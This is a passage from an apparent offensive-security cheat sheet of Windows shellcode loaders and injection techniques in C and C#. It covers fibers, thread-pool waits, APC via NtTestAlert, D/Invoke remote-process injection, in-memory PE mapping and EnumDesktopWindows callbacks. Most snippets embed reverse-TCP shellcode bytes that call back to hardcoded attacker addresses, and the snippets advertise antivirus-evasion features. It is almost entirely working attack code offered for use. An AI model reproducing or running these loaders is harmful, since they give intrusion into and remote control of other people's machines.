    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xac\x14\x0a\x07\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";    
    PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    
    memcpy(shellcodeLocation, shellcode, sizeof shellcode);    
    
    #   create a fiber that will execute the shellcode    
    PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);    
    # manually schedule the fiber that will execute our shellcode  
    		   SwitchToFiber(shellcodeFiber);    
    		   return 0;}
    
  • Execution Via CreateThreadPoolWait instead of CreateThread

    #include <windows.h>
    #include <threadpoolapiset.h>
    	//CreateThread PoolWaitunsigned 
    char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
    "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
    "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
    "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
    "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
    "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
    "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
    "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
    "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
    "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
    "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
    "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
    "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
    "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
    "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
    "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
    "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
    "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
    int main()
    {
    	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
    	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK) shellcodeAddress, NULL, NULL);
    	SetThreadpoolWait(threadPoolWait, event, NULL);
    	WaitForSingleObject(event, INFINITE);
    	return 0;
    }
    
  • Direct Memory ShellCode Injection - C[No Windows APIs]

    #pragma section(".text")	
    //Direct Ram Access With C
    // msvenom -p windows/shell_reverse_tcp lhost=X lport=Y -f c
    //x86 Arch Only
    __declspec(allocate(".text")) char goodcode[] ="\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01""\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48""\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0""\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c""\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0""\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04""\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59""\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48""\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33""\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00""\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54""\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c""\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff""\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2""\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48""\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99""\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63""\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57""\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44""\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6""\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff""\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5""\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff""\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48""\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13""\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
        int main(){   
            (*(void(*)())(&goodcode))();
            
        }
    
    #include <Windows.h>
    #include <stdio.h>
    //Direct Assembly With C//https://github.com/Mr-Un1k0d3r/Shellcoding
    int main() {printf("spotless");    
    			asm(".byte 0x90,0x90,0x90,0x90\n\t"        "ret\n\t");    
    			return 0;}
    
    #include <memory.h>
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    	//Payload in Heap
    //Make Use of Precompiled Data For Easying Code
    typedef int(*IntFuncPtrdT)();
    unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
    "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
    "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
    "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
    "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
    "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
    "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
    "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
    "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
    "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
    "\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
    "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
    "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
    "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    int main()
    	{
    //Intialize Function Pointer with No Value to be pointed to it    
    int (*f)();   	
    //Allocate Heap Buffer  For the Shellcode with the same data type of it
    unsigned char* shellCodeMemAddrPtr = (unsigned char *)malloc(sizeof(shellcode));   	
    //Move Shell Code to the Allocated Buffer    
    memcpy(shellCodeMemAddrPtr, shellcode, sizeof(shellcode));   	
    //Cast Shell Code Pointer[reffered to Shell Code Address and Address  Returned From Memcpy] to Functioon Pointer and assigned This Pointer to Prevoius Intialized Pointer   	
    //f = (*(int(*)())(shellCodeMemAddrPtr));    
    f = (IntFuncPtrdT)shellCodeMemAddrPtr;   	
    //Execute Function By its Pointer    
    f();}
    
  • D/Invoke

    // stolen from https://rastamouse.me/blog/process-injection-dinvoke/
    using System;
    using System.IO;
    using System.Runtime.InteropServices;
    using SharpSploit.Execution.DynamicInvoke;
    namespace InjectionTest
    {class Program
    
      {
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    
        delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    
        public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    
        public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
    
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    
        public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        
        static void Main(string[] args)
    
        {
    
          var shellcode = File.ReadAllBytes(args[0]);
    
          var pointer = Generic.GetLibraryAddress(“kernel32.dll”, “OpenProcess”);
    
          var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof (OpenProcess)) as OpenProcess;
    
          var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));
    
          pointer = Generic.GetLibraryAddress(“kernel32.dll”, “VirtualAllocEx”);
    
          var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof (VirtualAllocEx)) as VirtualAllocEx;
    
          var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (uint) shellcode.Length, 0x1000 | 0x2000, 0x40);
    
          pointer = Generic.GetLibraryAddress(“kernel32.dll”, “WriteProcessMemory”);
    
          var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof (WriteProcessMemory)) as WriteProcessMemory;
    
          writeProcessMemory(hProcess, alloc, shellcode, (uint) shellcode.Length, out UIntPtr bytesWritten);
    
          pointer = Generic.GetLibraryAddress(“kernel32.dll”, “CreateRemoteThread”);
    
          var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof (CreateRemoteThread)) as CreateRemoteThread;
    
          createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
    
        }
    
    
    
      }
    
    }
    
    
    using System;
    using System.IO;
    using System.IO.Compression;
    namespace DInvokePE{
    public class Program 
    {        
    
    static byte[] Compress(byte[] data)        
    
    { 
    MemoryStream output = new MemoryStream();            
    using (DeflateStream dStream = new DeflateStream(output,CompressionLevel.Optimal))
    
    dStream.Write(data, 0, data.Length); 
    
     return output.ToArray();        }        
     
     
     
     
     static byte[] Decompress(byte[] data)       
    {   
    MemoryStream input = new MemoryStream(data);            
    MemoryStream output = new MemoryStream();            
    using (DeflateStream dStream = new DeflateStream(input, CompressionMode.Decompress))  
    dStream.CopyTo(output);            
     
    
     
     return output.ToArray();        
    }        
    public static void Main(string[] args) {            
    /*var rawBytes = File.ReadAllBytes(@"C:\Users\snovvcrash\Desktop\mimikatz.exe");            var compressed = Compress(rawBytes);            var compressedB64 = Convert.ToBase64String(compressed);            Console.WriteLine(compressedB64);            */            
    var compressed = Convert.FromBase64String("");            
    var rawBytes = Decompress(compressed);           
    DInvoke.Data.PE.PE_MANUAL_MAP map =DInvoke.ManualMap.Map.MapModuleToMemory(rawBytes);            DInvoke.DynamicInvoke.Generic.CallMappedPEModule(map.PEINFO, map.ModuleBase);            
    Console.ReadLine();        
    }   
    
    }
    
    }
    
  • DInvoke EnumDesktopWindows

    // Dynamic PInvoke: Leverages DefinePInvokeMethod() for Instrumentation
    
    // Features: ImplMap Table Evasion, RW/RX Memory Allocation/Manipulation, EnumDesktopWindows() callback for shellcode execution
    
    // Reference: https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/
    
    // Author: bohops
    using System;
    
    using System.Runtime.InteropServices;
    
    using System.Reflection;
    
    using System.Reflection.Emit;
    
    namespace ShellcodeLoader
    
    {
    
      class Program
    
      {
    
        static void Main(string[] args)
    
        {
    
          byte[] shellcode = {
            0xe8,
            0x80,
    
          };
    
          IntPtr funcAddr = VirtualAlloc(
    
            IntPtr.Zero,
    
            (uint) shellcode.Length,
    
            0x1000,
    
            0x04);
    
          Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
    
          EnumDesktopWindowsDelegate dwDelegate = (EnumDesktopWindowsDelegate) Marshal.GetDelegateForFunctionPointer(funcAddr, typeof (EnumDesktopWindowsDelegate));
    
          UInt32 threadID = GetCurrentThreadId();
    
          IntPtr threadDesktop = GetThreadDesktop(threadID);
    
          UInt32 flOldProtect = 0;
    
          if (VirtualProtect(funcAddr, (UIntPtr) shellcode.Length, 0x20, ref flOldProtect))
    
          {
    
            EnumDesktopWindows(threadDesktop, dwDelegate, IntPtr.Zero);
    
          }
    
          return;
    
        }
    
        public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes)
    
        {
    
          AssemblyName assemblyName = new AssemblyName(“zz”);
    
          AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
    
          ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(“zz”);
    
          MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi);
    
          methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
    
          moduleBuilder.CreateGlobalFunctions();
    
          MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
    
          object res = dynamicMethod.Invoke(null, args);
    
          return res;
    
        }
    
        public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect)
    
        {
    
          Type[] paramTypes = {
            typeof (IntPtr),
            typeof (UInt32),
            typeof (UInt32),
            typeof (UInt32)
          };
    
          Object[] args = {
            lpAddress,
            dwSize,
            flAllocationType,
            flProtect
          };
    
          object res = DynamicPInvokeBuilder(typeof (IntPtr), “Kernel32.dll”, “VirtualAlloc”, args, paramTypes);
    
          return (IntPtr) res;
    
        }
    
        public static bool VirtualProtect(IntPtr hProcess, UIntPtr dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect)
    
        {
    
          Type[] paramTypes = {
            typeof (IntPtr),
            typeof (UIntPtr),
            typeof (UInt32),
            typeof (UInt32).MakeByRefType()
          };
    
          Object[] args = {
            hProcess,
            dwSize,
            flNewProtect,
            lpflOldProtect
          };
    
          object res = DynamicPInvokeBuilder(typeof (bool), “Kernel32.dll”, “VirtualProtect”, args, paramTypes);
    
          return (bool) res;
    
        }
    
        public static IntPtr GetThreadDesktop(UInt32 dwThreadId)
    
        {
    
          Type[] paramTypes = {
            typeof (UInt32)
          };
    
          Object[] args = {
            dwThreadId
          };
    
          object res = DynamicPInvokeBuilder(typeof (IntPtr), “user32.dll”, “GetThreadDesktop”, args, paramTypes);
    
          return (IntPtr) res;
    
        }
    
        public static UInt32 GetCurrentThreadId()
    
        {
    
          Type[] paramTypes = {};
    
          Object[] args = {};
    
          object res = DynamicPInvokeBuilder(typeof (UInt32), “Kernel32.dll”, “GetCurrentThreadId”, args, paramTypes);
    
          return (UInt32) res;
    
        }
    
        public static bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsDelegate lpfn, IntPtr lParam)
    
        {
    
          Type[] paramTypes = {
            typeof (IntPtr),
            typeof (EnumDesktopWindowsDelegate),
            typeof (IntPtr)
          };
    
          Object[] args = {
            hDesktop,
            lpfn,
            lParam
          };
    
          object res = DynamicPInvokeBuilder(typeof (bool), “user32.dll”, “EnumDesktopWindows”, args, paramTypes);
    
          return (bool) res;
    
        }
    
        public delegate bool EnumDesktopWindowsDelegate(IntPtr hWnd, int lParam);
    
      }
    }
    
  • Shellcode Execution Via NtTestAlert

    #include "pch.h"
    #include <Windows.h>
    
    #
    pragma comment(lib, "ntdll")
    using myNtTestAlert = NTSTATUS(NTAPI*)();
    int main()
    {
    	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
    	myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
    	SIZE_T shellSize = sizeof(buf);
    	LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);
    	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE) shellAddress;
    	QueueUserAPC((PAPCFUNC) apcRoutine, GetCurrentThread(), NULL);
    	testAlert();
    	return 0;
    }
    
  • Memory Buffer Enumearation [NoVirtualAlloc]

    #include "pch.h"#include <iostream>
    #include <Windows.h>
    #include <TlHelp32.h>
    //Enumerating MemRegions//https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions
    
    
    int main()
    {
    	MEMORY_BASIC_INFORMATION mbi = {};
    
    	LPVOID offset = 0;
    	HANDLE process = NULL;
    	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	PROCESSENTRY32 processEntry = {};
    
    	processEntry.dwSize = sizeof(PROCESSENTRY32);
    	DWORD bytesWritten = 0;
    	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7